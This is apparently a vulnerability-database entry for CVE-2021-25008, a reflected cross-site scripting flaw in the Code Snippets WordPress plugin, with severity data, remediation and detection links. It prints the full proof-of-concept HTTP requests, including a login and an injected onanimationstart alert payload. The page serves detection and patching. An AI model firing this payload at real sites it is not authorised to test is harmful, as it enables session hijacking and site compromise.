🔙 목록으로 돌아가기

CVE-2021-25008: The Code Snippets WordPress Plugin < 2.14.3 - Cross-Site Scripting

TitleThe Code Snippets WordPress Plugin < 2.14.3 - Cross-Site Scripting
Authorcckuailong
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.
RemediationUpdate the Code Snippets WordPress Plugin to version 2.14.3 or later to mitigate the vulnerability.
CVSS Score6.1
EPSS Score0.03359
CVE IDCVE-2021-25008
CWE IDCWE-79
Tags cve cve2021 authenticated wpscan xss wp wordpress wp-plugin codesnippets vuln

🔍 Vulnerability Description

The Wordpress plugin Code Snippets before 2.14.3 does not escape the snippets-safe-mode parameter before reflecting it in attributes, leading to a reflected cross-site scripting issue.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip

log=J8bDKm&pwd=Az1kdU&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php?page=snippets&snippets-safe-mode%5B0%5D=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28document.domain%29+x%3D HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_10_3 rv:2.0; so-DJ) AppleWebKit/533.15.6 (KHTML, like Gecko) Version/4.0.2 Safari/533.15.6
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25008.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-25008.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A